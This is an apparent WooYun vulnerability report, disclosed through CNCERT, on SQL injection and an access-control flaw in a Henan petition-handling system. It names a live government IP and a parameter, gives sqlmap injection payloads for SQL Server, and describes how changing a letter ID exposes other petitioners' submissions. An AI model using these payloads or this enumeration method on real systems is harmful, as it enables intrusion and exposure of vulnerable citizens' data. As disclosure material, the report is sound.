当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075315

漏洞标题：河南省某信访系统SQL注入与越权漏洞

相关厂商：伟盟软件

漏洞作者： 上官冷

提交时间：2014-09-09 15:28

修复时间：2014-10-24 15:30

公开时间：2014-10-24 15:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-09： 细节已通知厂商并且等待厂商处理中
2014-09-14： 厂商已经确认，细节仅向厂商公开
2014-09-24： 细节向核心白帽子及相关领域专家公开
2014-10-04： 细节向普通白帽子公开
2014-10-14： 细节向实习白帽子公开
2014-10-24： 细节向公众公开

简要描述：

某通用型系统SQL注入+越权影响某省及该省各地市、区县政府网站

详细说明：

先来说说本次通用型漏洞的影响范围，看下面这张图

所有链接副本.jpg


为证明上图中各链接的真实性，可以在郑州市信访局官方网站（http://www.zzxfj.gov.cn/）上按如下图操作即可验证上图链接的真实性

郑州信访官网副本.jpg

也可以百度如“信阳市信访局”，如下图点击进入

百度信阳信访局副本.jpg


应通用型的要求，附上几个链接供wooyun审核及相应厂商确认

http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=3
http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=4
http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=5
http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=6
http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=7
http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=8


下面就选一个进行证明（信阳市信访局）：http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=17
0x00：首先看看这个注入点是哪里，当点击第一图的链接时（或由官网点击网上信访链接时），抓包发现发送的链接是http://218.28.253.38:90/ResponseUrl.aspx?DEPTGUID=17，而DEPTGUID存在注入

Place: GET
Parameter: DEPTGUID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: DEPTGUID=17 AND 9815=9815
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: DEPTGUID=-4474 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(108)+CHAR(100)+CHAR(106)+CHAR(58)+CHAR(67)+CHAR(77)+CHAR(117)+CHAR(84)+CHAR(111)+CHAR(87)+CHAR(87)+CHAR(105)+CHAR(73)+CHAR(82)+CHAR(58)+CHAR(113)+CHAR(110)+CHAR(112)+CHAR(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: DEPTGUID=17 AND 2498=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
---
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005


0x01：直接上数据库和某库的表吧

数据库.JPG

tables.JPG


0x02：再来看看表里的信访者的资料，这里只把用户名和密码贴出来，这里就不在数据库里看信访内容了，更多信访内容一会越权时再看

内容改.jpg


下面再简单说下越权
首先注册一个账号，发一个信访，然后查看自己的信访内容，抓包，修改，就可以遍历他人的信访内容了。url为：http://218.28.253.38:90/WriteLetter/MyLetterDetails.aspx?nID=123251，登录后，通过修改nID即可看到别人的信访内容，来几个例证

证据1.JPG

证据3.JPG

证据5.JPG

漏洞证明：

刚详细说明

修复方案：

过滤，限制访问

版权声明：转载请注明来源 上官冷@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-09-14 09:54

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给河南分中心，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-10-24 20:31 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习，求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    和我同一天注册的~